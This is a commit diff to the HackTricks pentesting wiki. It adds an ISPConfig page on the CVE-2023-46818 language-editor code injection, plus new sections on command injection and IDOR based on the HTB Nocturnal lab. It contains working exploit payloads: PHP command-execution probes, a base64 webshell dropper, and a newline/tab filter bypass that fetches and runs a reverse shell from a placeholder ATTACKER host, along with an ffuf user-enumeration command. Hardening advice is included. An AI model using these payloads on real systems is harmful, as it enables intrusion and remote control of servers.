Skip to content

Commit 399a99e

Browse files
author
HackTricks News Bot
committed
Add content from: HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig...
- Remove searchindex.js (auto-generated file)
1 parent 7b609ae commit 399a99e

5 files changed

Lines changed: 164 additions & 0 deletions

File tree

src/SUMMARY.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -430,6 +430,7 @@
430430
- [H2 - Java SQL database](network-services-pentesting/pentesting-web/h2-java-sql-database.md)
431431
- [IIS - Internet Information Services](network-services-pentesting/pentesting-web/iis-internet-information-services.md)
432432
- [ImageMagick Security](network-services-pentesting/pentesting-web/imagemagick-security.md)
433+
- [Ispconfig](network-services-pentesting/pentesting-web/ispconfig.md)
433434
- [JBOSS](network-services-pentesting/pentesting-web/jboss.md)
434435
- [Jira & Confluence](network-services-pentesting/pentesting-web/jira.md)
435436
- [Joomla](network-services-pentesting/pentesting-web/joomla.md)

src/network-services-pentesting/pentesting-web/README.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -82,6 +82,7 @@ Some **tricks** for **finding vulnerabilities** in different well known **techno
8282
- [**Golang**](golang.md)
8383
- [**GraphQL**](graphql.md)
8484
- [**H2 - Java SQL database**](h2-java-sql-database.md)
85+
- [**ISPConfig**](ispconfig.md)
8586
- [**IIS tricks**](iis-internet-information-services.md)
8687
- [**Microsoft SharePoint**](microsoft-sharepoint.md)
8788
- [**JBOSS**](jboss.md)
Lines changed: 107 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,107 @@
1+
# ISPConfig
2+
3+
{{#include ../../banners/hacktricks-training.md}}
4+
5+
## Overview
6+
7+
ISPConfig is an open-source hosting control panel. Older 3.2.x builds shipped a language file editor feature that, when enabled for the super administrator, allowed arbitrary PHP code injection via a malformed translation record. This can yield RCE in the web server context and, depending on how PHP is executed, privilege escalation.
8+
9+
Key default paths:
10+
- Web root often at `/var/www/ispconfig` when served with `php -S` or via Apache/nginx.
11+
- Admin UI reachable on the HTTP(S) vhost (sometimes bound to localhost only; use SSH port-forward if needed).
12+
13+
Tip: If the panel is bound locally (e.g. `127.0.0.1:8080`), forward it:
14+
15+
```bash
16+
ssh -L 9001:127.0.0.1:8080 user@target
17+
# then browse http://127.0.0.1:9001
18+
```
19+
20+
## Language editor PHP code injection (CVE-2023-46818)
21+
22+
- Affected: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
23+
- Preconditions:
24+
- Login as the built-in superadmin account `admin` (other roles are not affected according to the vendor)
25+
- Language editor must be enabled: `admin_allow_langedit=yes` in `/usr/local/ispconfig/security/security_settings.ini`
26+
- Impact: Authenticated admin can inject arbitrary PHP that is written into a language file and executed by the application, achieving RCE in the web context
27+
28+
References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.
29+
30+
### Manual exploitation flow
31+
32+
1) Open/create a language file to obtain CSRF tokens
33+
34+
Send a first POST to initialize the form and parse the CSRF fields from the HTML response (`csrf_id`, `csrf_key`). Example request path: `/admin/language_edit.php`.
35+
36+
2) Inject PHP via records[] and save
37+
38+
Submit a second POST including the CSRF fields and a malicious translation record. Minimal command-execution probes:
39+
40+
```http
41+
POST /admin/language_edit.php HTTP/1.1
42+
Host: 127.0.0.1:9001
43+
Content-Type: application/x-www-form-urlencoded
44+
Cookie: ispconfig_auth=...
45+
46+
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
47+
```
48+
49+
Out-of-band test (observe ICMP):
50+
51+
```http
52+
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
53+
```
54+
55+
3) Write files and drop a webshell
56+
57+
Use `file_put_contents` to create a file under a web-reachable path (e.g., `admin/`):
58+
59+
```http
60+
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
61+
```
62+
63+
Then write a simple webshell using base64 to avoid bad characters in the POST body:
64+
65+
```http
66+
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
67+
```
68+
69+
Use it:
70+
71+
```bash
72+
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
73+
```
74+
75+
If PHP is executed as root (e.g., via `php -S 127.0.0.1:8080` started by root), this yields immediate root RCE. Otherwise, you gain code execution as the web server user.
76+
77+
### Python PoC
78+
79+
A ready-to-use exploit automates token handling and payload delivery:
80+
- [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
81+
82+
Example run:
83+
84+
```bash
85+
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
86+
```
87+
88+
### Hardening
89+
90+
- Upgrade to 3.2.11p1 or later
91+
- Disable the language editor unless strictly needed:
92+
93+
```
94+
admin_allow_langedit=no
95+
```
96+
97+
- Avoid running the panel as root; configure PHP-FPM or the web server to drop privileges
98+
- Enforce strong authentication for the built-in `admin` account
99+
100+
## References
101+
102+
- [ISPConfig 3.2.11p1 Released (fixes language editor code injection)](https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/)
103+
- [CVE-2023-46818 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-46818)
104+
- [bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
105+
- [HTB Nocturnal: Root via ISPConfig language editor RCE](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
106+
107+
{{#include ../../banners/hacktricks-training.md}}

src/pentesting-web/command-injection.md

Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -131,6 +131,37 @@ powershell C:**2\n??e*d.*? # notepad
131131
../linux-hardening/bypass-bash-restrictions/
132132
{{#endref}}
133133

134+
##### Newline and tab blacklist bypass (space and metacharacters filtered)
135+
136+
Many “naive blacklist” filters block space and shell metacharacters like `;`, `&`, `|`, `` ` ``, `{`, `}`, `&&`, but forget to block newlines (`%0a`) and tabs (`%09`). If user input is concatenated into a shell command (for example via PHP `proc_open()`/`system()`), you can:
137+
138+
- Inject a newline to start a new command
139+
- Use tabs as whitespace where space is blocked
140+
141+
Example payload for a password-like field reaching a shell (URL-encoded):
142+
143+
```
144+
0xdf%0abash%09-c%09"id"%0a
145+
```
146+
147+
The resulting process executes as two lines:
148+
149+
```
150+
zip -x './backups/*' -r -P 0xdf
151+
bash -c "id"
152+
```
153+
154+
Chaining without `&`: fetch and execute a reverse shell in separate lines:
155+
156+
```
157+
0xdf%0abash%09-c%09"curl%09http://ATTACKER/rev.sh"%0abash%09rev.sh%0a
158+
```
159+
160+
Notes
161+
- Newlines are command separators for POSIX shells; tabs are valid whitespace.
162+
- This works even if spaces and `;|&` are filtered, as long as `\n` and `\t` are not.
163+
- See PHP docs for `proc_open()`/`system()` behavior when given a string (it spawns `/bin/sh -c`).
164+
134165
### Node.js `child_process.exec` vs `execFile`
135166

136167
When auditing JavaScript/TypeScript back-ends you will often encounter the Node.js `child_process` API.
@@ -170,5 +201,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject
170201
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
171202
- [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
172203
- [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
204+
- [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php)
205+
- [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
173206

174207
{{#include ../banners/hacktricks-training.md}}

src/pentesting-web/idor.md

Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -38,6 +38,27 @@ for id in $(seq 64185742 64185700); do
3838
done
3939
```
4040

41+
---
42+
43+
### Error-response oracle for user/file enumeration
44+
45+
When a download endpoint accepts both a username and a filename (e.g. `/view.php?username=<u>&file=<f>`), subtle differences in error messages often create an oracle:
46+
47+
- Non-existent username → "User not found"
48+
- Bad filename but valid extension → "File does not exist" (sometimes also lists available files)
49+
- Bad extension → validation error
50+
51+
With any authenticated session, you can fuzz the username parameter while holding a benign filename and filter on the "user not found" string to discover valid users:
52+
53+
```bash
54+
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
55+
-b 'PHPSESSID=<session-cookie>' \
56+
-w /opt/SecLists/Usernames/Names/names.txt \
57+
-fr 'User not found'
58+
```
59+
60+
Once valid usernames are identified, request specific files directly (e.g., `/view.php?username=amanda&file=privacy.odt`). This pattern commonly leads to unauthorized disclosure of other users’ documents and credential leakage.
61+
4162
---
4263
## 2. Real-World Case Study – McHire Chatbot Platform (2025)
4364

@@ -86,4 +107,5 @@ Combined with **default admin credentials** (`123456:123456`) that granted acces
86107
* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds)
87108
* [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
88109
* [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
110+
* [HTB Nocturnal: IDOR oracle → file theft](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
89111
{{#include ../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)